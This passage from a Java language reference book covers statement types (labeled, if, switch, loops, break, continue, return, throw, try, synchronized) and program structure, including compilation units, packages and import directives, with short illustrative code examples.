If a local class is declared abstract, no instances of the class may be created. A local class declared abstract may contain abstract methods. Classes not declared abstract may not contain abstract methods and must override any abstract methods they inherit with methods that are not abstract. Classes that implement an interface and are not declared abstract must contain or inherit methods that are not abstract that have the same name, have the same number of parameters, and have corresponding parameter types as the methods declared in the interfaces that the class implements.

final

If a local class is declared final, it cannot be subclassed. In other words, it cannot appear in the extends clause of another class.

References Class Modifiers; Inner class modifiers

Local class members

The body of a local class cannot declare any static variables, static methods, static classes, or static initializers. Beyond those restrictions, the remainder of the declaration is the same as that for a top-level class declaration, which is described in Class Declarations.

References
Class Declarations;
Constructors;
Instance Initializers;
Methods;
Nested Top-Level and Member Classes;
Static Initializers;
Variables

Previous | Home | Next
Interface Declarations | Book Index | Labeled Statements
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.2 Labeled Statements

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.2 Labeled Statements

Zero or more labels can appear before a statement:

[Graphic: Figure from the text]

A label is defined throughout the block in which it occurs. The names of labels are independent of all other kinds of names. In other words, if a label has the same name as a local variable, formal parameter, class, interface, field variable, or method, there is never any confusion or interaction between those names.[1] For example, the following code works even though it contains a label and formal parameter with the same name:

[1] Prior to version 1.0.2, Java required labels to have names that did not conflict with the names of local variables or formal parameters.

public static void main (String[] argv) {
  argv:
    while (true) {
        System.out.println(argv[0]);
        if ( Math.random() >.4)
            break argv;
        System.out.println("Again");
    }
}

Labels are used to mark statements, but a labeled statement does not affect the order of execution when it is defined. The statement following the label is executed as if the label were not present. However, a label can be used in a break or continue statement to transfer control to a labeled statement. Unlike C/C++, Java does not have a goto statement.

References
Identifiers;
Statement 6;
The break Statement;
The continue Statement

Previous | Home | Next
Blocks | Book Index | The Empty Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.3 The Empty Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.3 The Empty Statement

The empty statement does nothing:

[Graphic: Figure from the text]

The empty statement can be useful as a place holder. For example, if a for statement contains all of the necessary functionality in its header, the body of the for statement can be the empty statement. Here's an example:

// Find the first element of array nx that equals 5
int x;
for (x = 0; x < nx.length && nx[x] != 5; x++)
// for requires a statement here: use an empty statement
    ;
if (x < nx.length) {
// The for statement found a 5 at nx[x]
}

Previous | Home | Next
Labeled Statements | Book Index | Expression Statements
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.4 Expression Statements

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.4 Expression Statements

Expression statements are the most common statements in Java. An expression statement consists of an expression that is executed for its side effects. Only certain kinds of expressions can be used in an expression statement:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

Here are some examples of expression statements:

x = 3*y;
foo(x);
x++;
--y;
new zombie();

Notice that a top-level expression is an expression that has a side effect or calls a method. An assignment expression has the side effect of altering the value of a variable or array element. A statement expression that consists of an increment or decrement operator has the side effect of incrementing or decrementing the contents of a variable or an array element. A method call expression has the side effect of calling a method. If the method returns a result, the result is discarded. A special variant of MethodCallExpression, called ExplicitConstructorCallStatement, allows a constructor to be called explicitly as the first statement of another constructor. An allocation expression creates an object and has the side effect of calling its constructor.

An expression statement is evaluated fully, including its side effects, before the next statement is executed.[2]

[2] A Java compiler can produce code that follows a different order of evaluation, provided that the code produces the same result as code that does follow the specified order of evaluation.

References
Allocation Expressions;
Assignment Operators;
Constructor implementation;
Method Call Expression;
Primary Expressions

Previous | Home | Next
The Empty Statement | Book Index | The if Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.5 The if Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.5 The if Statement

An if statement determines which of two statements is executed, based on the value of a Boolean expression:

[Graphic: Figure from the text]

In Java, the expression in parentheses must produce a boolean value. This is different from C/C++, which allows any type of expression.

If the expression in parentheses evaluates to true, the statement after the parentheses is executed. After that statement has been executed, the statement following the entire if statement is executed. If the expression between the parentheses evaluates to false, the next statement to be executed depends on whether or not the if statement has an else clause. If there is an else clause, the statement after the else is executed. Otherwise, the statement after the entire if statement is executed.

When if statements are nested, each else clause is matched with the last preceding if statement in the same block that has not yet been matched with an if statement.

Here is an example of an if statement:

if (j == 4) {
    if (x > 0 ) {
        x *= 7;
    } else {
        x *= -7;
    }
}
return;

The outer if statement has no else clause. If j is not 4, the return statement is executed. Otherwise, the inner if statement is executed. This if statement does have an else clause. If x is greater than zero, the value of x is multiplied by 7. Otherwise, the value of x is multiplied by -7. Regardless of the value of x, the return statement is executed.

References Boolean Type; Expression 4; Statement 6

Previous | Home | Next
Expression Statements | Book Index | The switch Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.6 The switch Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.6 The switch Statement

A switch statement selects a specially labeled statement in its block as the next statement to be executed, based on the value of an expression:

[Graphic: Figure from the text]

In Java, the type of the expression in parentheses must be byte, char, short, or int. This is unlike C/C++, which allows the type of a switch statement to be any integer type, including long.

The body of a switch statement must be a block. The top-level statements inside a switch may contain case labels. The expression following a case label must be a constant expression that is assignable to the type of the switch expression. No two case labels in a switch can contain the same value. At most one of the top-level statements in a switch can contain a default label.

A switch statement does the following:

  • Evaluates the expression in parentheses. If the type of the expression is not int, the value produced by the expression is converted to int.

  • Compares the value produced by the expression to the values in the case labels. Prior to comparison, the value in the case label is converted to int if it is not already int.

  • If a case label is found that has the same value as the expression, that label's statement is the next statement to be executed.

  • If no case label is found with the same value as the expression, and a statement in the block has a default label, that statement is the next one to be executed.

  • If there is no statement in the block that has a default label, the statement after the switch statement is the next statement to be executed.

Here's an example of a switch statement:

switch (rc) {
  case 1:
    msg = "Syntax error";
    break;
  case 2:
    msg = "Undefined variable";
    break;
  default:
    msg = "Unknown error";
    break;
}

After the switch statement has transferred control to a case-labeled statement, statements are executed sequentially in the normal manner. Any case labels and the default label have no further effect on the flow of control. If no statement inside the block alters the flow of control, each statement is executed in sequence with control flowing past each case label and out the bottom of the block. The following example illustrates this behavior:

void doInNTimes(int n){
    switch (n > 5 ? 5 : n) {
      case 5:
        doIt();
      case 4:
        doIt();
      case 3:
        doIt();
      case 2:
        doIt();
      case 1:
        doIt();
    }
}

The above method calls the doIt() method up to 5 times.

To prevent control from flowing through case labels, it is common to end each case with a flow-altering statement such as a break statement. Other statements used for this purpose include the continue statement and the return statement.

References
Constant Expressions;
Expression 4;
Identifiers;
Integer types;
Local Classes;
Local Variables;
Statement 6;
The break Statement;
The continue Statement;
The return Statement

Previous | Home | Next
The if Statement | Book Index | Iteration Statements
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.7 Iteration Statements

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.7 Iteration Statements

Iteration statements are used to specify the logic of a loop. Java has three varieties of iteration statement: while, do, and for.

[Graphic: Figure from the text]

References The do Statement; The for Statement; The while Statement

The while Statement

A while statement evaluates a Boolean expression. If the expression is true, a given statement is repeatedly executed for as long as the expression continues to evaluate to true.

[Graphic: Figure from the text]

In Java, the expression in parentheses must produce a boolean value. This is different from C/C++, which allows any type of expression.

If the expression in parentheses evaluates to true, the statement contained in the while statement is executed and the expression in parentheses is evaluated again. This process continues until the expression evaluates to false.

If the expression in parentheses evaluates to false, the statement following the while statement is the next statement to be executed. The expression in parentheses is evaluated before the contained statement is executed, so it is possible for the contained statement not to be executed even once.

Here is an example of a while statement:

while ( (c = in.read()) >= 0) {
    out.write(c);
}

References Boolean Type; Expression 4; Statement 6

The do Statement

A do statement executes a given statement and then evaluates a Boolean expression. If the expression evaluates to true, the statement is executed repeatedly as long as the expression continues to evaluate to true:

[Graphic: Figure from the text]

In Java, the expression in parentheses must produce a boolean value. This is unlike C/C++, which allows any type of expression.

The statement contained in the do statement is executed and then the expression in parentheses is evaluated. If the expression evaluates to true, the process is repeated.

If the expression evaluates to false, the statement following the do statement is the next statement to be executed. Because the expression is evaluated after the contained statement is executed, the statement is always executed at least once.

Here's an example of a do statement:

do {
    c = in.read();
    out.write(c);
} while (c != ';');

References Boolean Type; Expression 4; Statement 6

The for Statement

A for statement is a more structured form of a while statement. A for statement performs an initialization step and then evaluates a Boolean expression. If the expression evaluates to true, a given statement is executed and an increment expression is evaluated repeatedly as long as the expression continues to evaluate to true:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

[Graphic: Figure from the text]

Here is an example of a for statement:

for (i = 0; i < a.length; i++) {
    a[i] = i;
}

The initialization part of the for statement is executed first. If the initialization part contains nothing, no initialization is performed. The expression that follows must produce a boolean value. Before the body of the for statement is executed, the expression is evaluated. If the expression portion of the for statement is omitted, the default expression true is used. If the expression evaluates to true, the body of the for statement is executed and then the increment portion of the for statement is evaluated. Finally, the expression is evaluated again to determine if there should be another iteration. This process continues until the expression evaluates to false, at which point the statement following the for statement is the next statement to be executed. The for statement in the above example can be rewritten as a while statement as follows:

i = 0;
while (i < a.length) {
    a[i] = i;
    i++;
}

One difference between comparable for and while loops is that a continue statement in the body of a for statement causes the increment portion of the statement to be evaluated. However, this may not be the case in a comparable while statement.

Here's a new version of our for example:

for (i = 0; i < a.length; i++) {
    a[i] = i;
    continue;
}

The added continue statement at the end of the for loop does not change the behavior of the loop. In particular, i++ is still evaluated after each iteration through the body of the loop. Now let's add a continue statement at the equivalent place in our while example:

i = 0;
while (i < a.length) {
    a[i] = i;
    continue;
    i++;
}

The continue statement in this while loop prevents the statement i++ from being executed. The continue statement would have to be moved after the increment operation to match the logic of the for statement.

If the expression portion of a for statement is omitted, the default expression true is supplied. Take, for example, the following for statement:

for ( FileInputStream in = new FileInputStream(fname);;) {
    c = in.read();
    if (c < 0)
        return;
    System.out.print((char)c);
}

This example uses a local variable declaration in the initialization portion of the for statement. Local variable declarations in a for statement are subject to the same restrictions as local variable declarations in a block. In particular, a for statement cannot declare a local variable with the same name as a local variable or formal parameter that is defined in an enclosing block.

The above for statement is equivalent to the following while statement:

{
    FileInputStream in = new FileInputStream(fname);
    while (true) {
        c = in.read();
        if (c < 0)
            return;
        System.out.print((char)c);
    }
}

The enclosing block in the above example is provided to limit the scope of the local variable in to just the while statement.

The initialization portion of a for statement can also be empty. The following statement is a legal way of specifying an infinite loop:

for (;;) {...}

This is equivalent to the following while statement:

while (true) {...}

Unlike C/C++, there is no comma operator in Java. However, commas are explicitly allowed in the initialization portion of a for statement. For example, a for initialization can consist of multiple expressions separated by commas:

i=2, j=5, k=44

When the initialization portion of a for statement contains local variable declarations, commas are also allowed because the syntax for declarations allows multiple variables, separated by commas, to be declared in one declaration. For example:

int i=2, j=5, k=44

References
Boolean Type;
Expression 4;
Statement 6;
Local Variables;
TopLevelExpression 6.4;
The continue Statement;
The while Statement

Previous | Home | Next
The switch Statement | Book Index | The break Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.8 The break Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.8 The break Statement

A break statement transfers control out of an enclosing statement:

[Graphic: Figure from the text]

If a break statement does not contain an identifier, the statement attempts to transfer control to the statement that follows the innermost enclosing while, for, do, or switch statement. The Java compiler issues an error message if a break statement without an identifier occurs without an enclosing while, for, do, or switch statement. Here is an example of a break statement that contains no identifier:

while (true) {
    c = in.read();
    if (Character.isSpace(c)
        break;
    s += (char)c;
}

In this example, the break statement is used to exit from the while loop.

The innermost while, for, do, or switch statement that encloses the break statement must be in the immediately enclosing method or initializer block. In other words, a break statement cannot be used to leave a method or initializer block. The break statement in the following example is used incorrectly and generates an error:

while (true) {
    class X {
        void doIt() {
            break;
        }
    }
    new X().doIt();
}

If a break statement contains an identifier, the identifier must be defined as the label of an enclosing statement. A break statement that contains an identifier attempts to transfer control to the statement that immediately follows the statement labeled with that identifier. Here's an example of a break statement that contains an identifier:

foo:{
    doIt();
    if (n > 4) break foo;
    doIt();
}

In this example, the break statement transfers control to the statement following the block labeled foo.

The label used in a break statement must be in the immediately enclosing method or initializer block. The break statement in the following example is used incorrectly and generates an error:

foo: {
    class X {
        void doIt() {
            break foo;
        }
    }
    new X().doIt();
}

The statement to which a break statement attempts to transfer control is called the target statement. If a break statement occurs inside a try statement, control may not immediately transfer to the target statement. If a try statement has a finally clause, the finally block is executed before control leaves the try statement for any reason. This means that if a break statement occurs inside a try statement (but not in its finally block) and the target statement is outside of the try statement, the finally block is executed first, before the control transfer can take place.

If the finally block contains a break, continue, return, or throw statement, the pending control transfer for the previously executed break statement is forgotten. Instead, control is transferred to the target of the break, continue, return, or throw statement in the finally block.

If the finally block does not contain a break, continue, return, or throw statement, the pending control transfer happens after the finally block is done executing, unless the target statement is enclosed by another try statement. If there is another enclosing try statement and it has a finally clause, that finally block is also executed before the control transfer can take place. Execution proceeds in this manner until the target statement of the break is executed.

Here is an example that illustrates a simple scenario:

ll:{
    try {
        f = new FileInputStream(fname);
        i = f.read();
        if (i != ' ')
            break ll;
        i = f.read();
    } catch (IOException e) {
        System.out.println("Got an IO Exception!");
        break ll;
    } finally {
        f.close();           // Always executed
    }
    // Only reached if we don't break out of the try
    System.out.println("No breaks");
}

In this example, a break statement is executed if one of two things happens. First, if an IOException is thrown, the catch clause prints a message and then executes a break statement. Otherwise, if the first call to read() does not return a space, a break statement is executed. In either case, the finally clause is executed before control is transferred to the statement following the statement labeled with ll.

References
Identifiers;
Labeled Statements;
The continue Statement;
The do Statement;
The for Statement;
The return Statement;
The throw Statement;
The try Statement;
The while Statement

Previous | Home | Next
Iteration Statements | Book Index | The continue Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.9 The continue Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.9 The continue Statement

A continue statement stops the current iteration of an iteration statement and transfers control to the start of the next iteration:

[Graphic: Figure from the text]

A continue statement must occur within a while, for, or do statement or the compiler issues an error message.

If a continue statement does not contain an identifier, the statement stops the current iteration in the innermost enclosing while, for, or do statement and attempts to transfer control to the start of the next iteration. This means that in a while or do statement, the continue statement transfers control to just after the contained statement of the while or do statement. In a for statement, the continue statement transfers control to the increment portion of the for statement. Here is an example of a continue statement that contains no identifier:

public static void main (String[] argv) {
    for (int i=0; i<=15; i++) {
        System.out.println(i);
        if ( (i&1) == 0 )
            continue;
        System.out.println("That's odd");
    }
}

The above example outputs the numbers 0 through 15, printing "That's odd" after each odd number.

The innermost while, for, do, or switch statement that encloses the continue statement must be in the immediately enclosing method or initializer block. The continue statement in the following example is used incorrectly and generates an error:

while (true) {
    class X {
        void doIt() {
            continue;
        }
    }
    new X().doIt();
}

If a continue statement contains an identifier, the identifier must be defined as the label of an enclosing while, for, or do statement. A continue statement that contains an identifier stops the current iteration of the labeled iteration statement and attempts to transfer control to the start of the next iteration of that loop. Here is an example of a continue statement that contains an identifier:

public boolean search(int x, int a[][]) {
    int count = 0;
  top:
    for (int i=0; i<a.length; i++) {
        int b[] = a[i];
        for (int j=0; j < b.length; j++) {
            if (x == b[j])
                return true;
            if ( x < b[j])
                continue top;
        } // for j
        count++;
        if (count > 100)
            return false;
    } // for i
    return false;
} // search()

The above method searches an array of arrays of integers for a specified value. The method assumes that the values in the sub-arrays are in descending order. The method gives up after checking 100 values.

The label used in a continue statement must be in the immediately enclosing method or initializer block.

The statement to which a continue statement attempts to transfer control is called the target statement. If a continue statement occurs inside a try statement, control may not immediately transfer to the target statement. If a try statement has a finally clause, the finally block is executed before control leaves the try statement for any reason. This means that if a continue statement occurs inside a try statement (but not in its finally block) and the target statement is outside of the try statement, the finally block is executed first, before the control transfer can take place.

If the finally block contains a break, continue, return, or throw statement, the pending control transfer for the previously executed continue statement is forgotten. Instead, control is transferred to the target of the break, continue, return, or throw statement in the finally block.

If the finally block does not contain a break, continue, return, or throw statement, the pending control transfer happens after the finally block is done executing, unless the target statement is enclosed by another try statement. If there is another enclosing try statement and it has a finally clause, that finally block is also executed before the control transfer can take place. Execution proceeds in this manner until the target statement of the continue is executed.

References
Identifiers;
Labeled Statements;
The break Statement;
The do Statement;
The for Statement;
The return Statement;
The throw Statement;
The try Statement;
The while Statement

Previous | Home | Next
The break Statement | Book Index | The return Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.10 The return Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.10 The return Statement

A return statement returns control of the current method or constructor to the caller:

[Graphic: Figure from the text]

If a return statement does not contain an expression, the statement must be in a method declared with the void return type or in a constructor. Otherwise, the compiler issues an error message. When a return statement does not contain an expression, the statement simply attempts to transfer control back to the method or constructor that invoked the current method or constructor.

If a return statement contains an expression, it must be in a method that returns a value or the compiler issues an error message. The type of the expression must be assignment-compatible with the declared return type of the method. The return statement attempts to transfer control back to the method or constructor that invoked the current method. The value produced by the expression is the return value of the current method.

Here's an example of a return statement:

int doubleIt (int k) {
    return k*2;
}

If a return statement occurs inside a try statement, control may not immediately transfer to the invoking method or constructor. If a try statement has a finally clause, the finally block is executed before control leaves the try statement for any reason. This means that if a return statement occurs inside a try statement (but not in its finally block), the finally block is executed first, before the control transfer can take place.

If the finally block contains a break, continue, return, or throw statement, the pending control transfer for the previously executed return statement is forgotten. Instead, control is transferred to the target of the break, continue, return, or throw statement in the finally block.

If the finally block does not contain a break, continue, return, or throw statement, the pending control transfer happens after the finally block is done executing, unless there is another enclosing try statement. If there is such a try statement and it has a finally clause, that finally block is also executed before the control transfer can take place. Execution proceeds in this manner until control is transferred to the invoking method or constructor.

References
Constructors;
Expression 4;
Identifiers;
Methods;
The break Statement;
The continue Statement;
The throw Statement;
The try Statement

Previous | Home | Next
The continue Statement | Book Index | The throw Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.11 The throw Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.11 The throw Statement

A throw statement is used to cause an exception to be thrown:

[Graphic: Figure from the text]

The expression in a throw statement must produce a reference to an object that is an instance of the Throwable class or one of its subclasses. Otherwise, the compiler issues an error message. You typically want the expression in a throw statement to produce an object that is an instance of a subclass of the Exception class.

Here is an example of a throw statement:

throw new ProtocolException();

A throw statement causes normal program execution to stop. Control is immediately transferred to the innermost enclosing try statement in the search for a catch clause that can handle the exception. If the innermost try statement cannot handle the exception, the exception propagates up through enclosing statements in the current method. If the current method does not contain a try statement that can handle the exception, the exception propagates up to the invoking method. If this method does not contain an appropriate try statement, the exception propagates up again, and so on. Finally, if no try statement is found to handle the exception, the currently running thread terminates. The termination of a thread is described in Stopping a thread.

As an exception propagates through enclosing try statements, any finally blocks associated with those try statements are executed until the exception is caught. If a finally block contains a break, continue, return, or throw statement, the pending control transfer initiated by the throw statement is forgotten. Instead, control is transferred to the target of the break, continue, return, or throw statement in the finally block.

References
Exception Handling 9;
Expression 4;
The break Statement;
The continue Statement;
The return Statement;
The try Statement;
Throwable

Previous | Home | Next
The return Statement | Book Index | The try Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.12 The try Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.12 The try Statement

A try statement provides a way to catch exceptions and execute clean-up code for a block:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

A try statement contains a block of code to be executed. A try statement can have any number of optional catch clauses; these clauses act as exception handlers for the try block. A try statement can also have a finally clause. If present, the finally block is always executed before control leaves the try statement, so it is a good place to supply clean-up code for the try block. Note that a try statement must have either a catch clause or a finally clause.

Here is an example of a try statement that includes a catch clause and a finally clause:

try {
    out.write(b);
} catch (IOException e) {
    System.out.println("Output Error");
} finally {
    out.close();
}

If out.write() throws an IOException, the exception is caught by the catch clause. Regardless of whether out.write() returns normally or throws an exception, the finally block is executed, which ensures that out.close() is always called.

A try statement begins by executing the block that follows the keyword try. If an exception is thrown from within the try block and the try statement has any catch clauses, those clauses are searched in order for one that can handle the exception. A catch clause can handle an exception if the ClassOrInterfaceName specified in the clause is the same class as or a superclass of the object specified in the throw statement that caused the exception. The ClassOrInterfaceName specified in a catch clause must be Throwable or be one of its subclasses. If a catch clause handles an exception, that catch block is executed.

If an exception is thrown from within the try block and the try statement does not have any catch clauses that can handle the exception, the exception propagates up to the next enclosing try statement. An exception also propagates up if it is thrown from within a catchblock in a try statement.

The identifier specified in parentheses for the catch clause is defined as a local variable within the catch block. The local variable is initialized to refer to the thrown object, in a manner that is similar to the way it which formal parameters for a method are handled. This means that an identifier in a catch clause cannot have the same name as a local variable or formal parameter that is defined in an enclosing block. If the catch parameter is declared as final, any assignment to that parameter in the catch block generates an error. The syntax for specifying final catch parameters is not supported prior to Java 1.1.

Any catch clauses in a try statement are checked in sequence to see if they can handle a given exception. Thus, the order in which catch clauses appear is important. In essence, more specific catch clauses should appear before more general catch clauses. Figure 6.1 shows the inheritance hierarchy for a few of the classes of objects that can be thrown in Java.

Figure 6.1: Some exception classes in Java

[Graphic: Figure 6-1]

Based on the classes shown in Figure 6.1, consider the following example:

try {
    System.out.write(b);
} catch (InterruptedIOException e) { ...
} catch (IOException e) { ...
} catch (Exception e) { ...
}

The catch clauses in this example appear in order from most specific to least specific. That means that if an InterruptedIOException were thrown, it would be caught by the first catch clause. Similarly, an IOException would be caught by the second catch clause and an Exception would be caught by the third clause. If, however, the catch clause for Exception appeared first, neither of the other catch clauses would ever be executed because the catch clause for Exception would catch all of the exceptions.

If a try statement includes a finally clause, the finally block is always executed before control leaves the try statement. There are two different ways that control can leave a try statement:

  • The try statement completes normally. Normal completion occurs when all of the statements in the try block have been executed, so that control falls out of the bottom of the try block. Normal completion can also occur when an exception is thrown in the try block, as long as the exception is handled by a catch clause in the try statement.

  • The try statement completes abruptly, due to an attempted control transfer out of the try block. A break, continue, or return statement in the try block causes an abrupt completion. In addition, abrupt completion can occur when an exception occurs and is not handled by a catch clause in the try statement, since the exception propagates out of the try block.

If a try statement completes normally and it does not have a finally clause, the statement following the try statement is the next statement to be executed. However, if the try statement does have a finally clause, the finally block is executed first, before control can be transferred to the statement following the try statement. If the finally block contains a break, continue, return, or throw statement, the pending control transfer is forgotten and control is instead transferred to the target of the break, continue, return, or throw statement in the finally block.

If a try statement completes abruptly and it does not have a finally clause, the control transfer out of the try block takes place immediately. However, if the try statement does have a finally clause, the finally block is executed first, before the control transfer can take place. If the finally block contains a break, continue, return, or throw statement, the pending control transfer is forgotten and control is instead transferred to the target of the break, continue, return, or throw statement in the finally block.

References
Blocks;
Exception Handling 9;
Expression 4;
Identifiers;
The break Statement;
The continue Statement;
The return Statement;
The throw Statement;
Throwable
Type 3;

Previous | Home | Next
The throw Statement | Book Index | The synchronized Statement
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.13 The synchronized Statement

Java Language Reference

Previous Chapter 6
Statements and Control Structures 		Next

6.13 The synchronized Statement

A synchronized statement provides a way of synchronizing the execution of a block, so that only one thread can be executing the block at a time:

[Graphic: Figure from the text]

The expression in parentheses must produce a reference type, or the compiler issues an error message. If the expression evaluates to null, a NullPointerException is thrown.

Before executing the block in a synchronized statement, the current thread obtains a lock for the object referenced by the expression. While the block is being executed, no other thread can obtain the lock for that object. When the thread is done executing the block, it releases the lock, so it is available for other threads. See Chapter 8 for a complete discussion of threads in Java.

References
Blocks;
Expression 4;
Runtime exceptions;
Threads 8

Previous | Home | Next
The try Statement | Book Index | Program Structure
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] Program Structure

Java Language Reference

Previous Chapter 7 Next

7. Program Structure

Contents:
Compilation Units
Packages
The import Directive
Documentation Comments
Applications
Applets

This chapter discusses the higher levels of program structure for Java programs. The two levels of organization discussed in this chapter are compilation units and packages. A compilation unit contains the source code for one or more classes or interfaces. A package is a collection of related compilation units.

This chapter also discusses the two most common top-level Java program architectures: applications and applets. An application is a stand-alone Java program that can be run directly from the command line (or other operating system environment). An applet is a Java program that must be run from within another program, such as a Web browser. In the future, applets will even be hosted by other environments, such as cellular phones and personal digital assistants.

7.1 Compilation Units

A compilation unit is the highest-level syntactic structure that Java recognizes:

[Graphic: Figure from the text]

Only one of the classes or interfaces declared in a compilation unit can be declared public.

A compilation unit usually corresponds to a single source code file. However, the Java language specification allows compilation units to be stored in a database. If compilation units are stored in a database, the limit of one public class or interface per compilation unit does not apply, as long as there is a way to extract the compilation units from the database and place them in individual files that contain no more than one public class or interface per file. This exception to the one public class or interface per compilation unit rule is useful if you are implementing a Java development environment.

Every compilation unit is part of exactly one package. That package is specified by the package directive that appears at the beginning of the compilation unit. If there is no package directive, the compilation unit is part of the default package.

References
ClassDeclaration 5.4;
Class Modifiers;
The import Directive;
Interface Declarations;
Interface Modifiers;
PackageDirective 7.2

Previous | Home | Next
The synchronized Statement | Book Index | Packages
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.2 Packages

Java Language Reference

Previous Chapter 7
Program Structure 		Next

7.2 Packages

A package is a group of classes. If a class is not declared as public, it can only be referenced by other classes in the same package. A class is specified as being part of a particular package by a package directive at the beginning of its compilation unit:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

A package directive can only occur at the beginning of a compilation unit (ignoring comments and white space). If there is no package directive in a compilation unit, the compilation unit is part of the default package. A package is identified by its name. However, the default package has no name. Here are some examples of package directives:

package tools.text;
package COM.geomaker;

A class or interface definition can refer to class and interface definitions in a different package by qualifying the class or interface name with the package name and a period. For example, you can refer to the Socket class as follows:

java.net.Socket

However, if you attempt to use a non-public class or interface defined in another package, the Java compiler issues an error message.

An import directive, described in the next section, makes the class and interface definitions in another package available by their simple names. In other words, if you use an import directive, you do not have to qualify the names of the classes and interfaces in the package with the package name.

In Sun's implementation of Java, the name of the package for a given compilation unit is used to determine the directories that the Java interpreter searches to find the compiled Java code (i.e., the .class file) for the compilation unit. The Java interpreter uses a two-step process to find the compiled code for a class in a named package:

  • The name of the package is converted into a relative path. Each identifier in the package name becomes the name of a directory in this relative path. (This scheme assumes that the Java interpreter is operating in an environment that supports a hierarchical file system.)

  • The relative path is appended to the directories specified in the CLASSPATH environment variable and the resulting paths are searched for the .class file.

If the Java interpreter is searching for the compiled code for a class that is in the default package, it simply searches the directories specified in the CLASSPATH environment variable.

For example, say that the value of the CLASSPATH environment variable is as follows:[1]

[1] This example uses Windows syntax for directory names. The syntax for directory names is different in other environments. In particular, the character used to separate directory names varies in other environments.

\java\classes;.\;

In this case, the Java interpreter searches for the .class files for classes in the package named COM.geomaker in the following directories:

\java\classes\COM\geomaker
.\COM\geomaker

If a package name contains a Unicode character that cannot directly appear in a directory name, the character is represented in the directory name by an "at" sign (@) followed by one to four hexadecimal digits. For example, the package name:

COM.geomaker.hg\u00f8

becomes the relative path:

\COM\geomaker\hg@f8

Java classes can also be retrieved out of a .zip file if the file is specified as part of the CLASSPATH. For instance, the value of CLASSPATH could be set as follows:

\java\classes;\java\classes.zip;.\;

When the Java interpreter finds a .zip file in the CLASSPATH, it searches the .zip file for the appropriate .class file. The core classes in the Java API are supplied in a file that is typically named something like jdk1.1/lib/classes.zip. As of Java 1.1, you do not normally need to put that .zip file in CLASSPATH because the Java interpreter automatically puts startDir/../classes.zip on the end of CLASSPATH (where startDir is the directory that contains the interpreter's executable file).

The Java language specification defines a scheme for creating package names that should be globally unique. Since Internet domain names are globally unique, the idea is to incorporate them into package names. This is done by reversing the order of the components of the domain name, capitalizing the top-level component of the domain name, and using the result as a prefix for the descriptive portion of a package name. For example, if different organizations were to create packages that they all wanted to call opinion_poll, they could use this scheme to ensure global uniqueness. The resulting package names might be:

COM.cnn.opinion_poll
GOV.whitehouse.opinion_poll
EDU.syracuse.newhouse.opinion_poll

Package names that begin with an identifier that does not contain all uppercase letters are reserved for use as local package names. The one exception is package names that begin with the identifier java, which are reserved for packages that are part of the standard Java distribution.

References
Class Declarations;
Identifiers;
Interface Declarations;
The import Directive

Previous | Home | Next
Compilation Units | Book Index | The import Directive
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 7] 7.3 The import Directive

Java Language Reference

Previous Chapter 7
Program Structure 		Next

7.3 The import Directive

You can refer to classes and interfaces defined in a particular package by qualifying their names with the package name and a period. For example, you can refer to the Socket class as java.net.Socket. Using this notation, you could write a declaration like the following:

java.net.Socket s = new java.net.Socket();

This declaration is rather verbose. As you can imagine, it would quickly become cumbersome to refer to classes this way in all of your programs.

The import directive provides an alternative to prefixing the names of classes and interfaces defined in particular packages with their package names. An import directive makes definitions from another package available by their simple names:

[Graphic: Figure from the text]

An import directive can only occur after the package directive in a compilation unit (if there is one) and before any class or interface declarations.

An import directive with an identifier after the package name defines that identifier to have the same meaning as the fully qualified class or interface name. When an identifier is defined using an import directive, the definition exists only from the import directive that defines it to the end of the compilation unit.

For example, you could use the following import directive:

import java.net.Socket;

Now the identifier Socket is defined to mean java.net.Socket. With the above import directive at the beginning of a compilation unit, you can rewrite the previous declaration as follows:

Socket s = new Socket();

If more than one import directive provides a definition for the same identifier, the compiler issues an error message.

An import directive can also be used to define an identifier as a synonym for the fully qualified name of a class that is declared inside of another class. For example, consider the following class declaration:

package COM.geomaker;
...
public class z {
    ...
    class zz {
        ...
    }
}

A class in another file can refer to the class COM.geomaker.z.zz as just zz if the file contains the following import directive:

import COM.geomaker.z.zz;

An import directive with an asterisk (*) after the package name tells the compiler to search the specified package when it cannot find a definition for an identifier. In other words, this type of import directive makes all of the classes and interfaces in the package available by their simple names. Here's an example of such an import directive:

import java.awt.*;

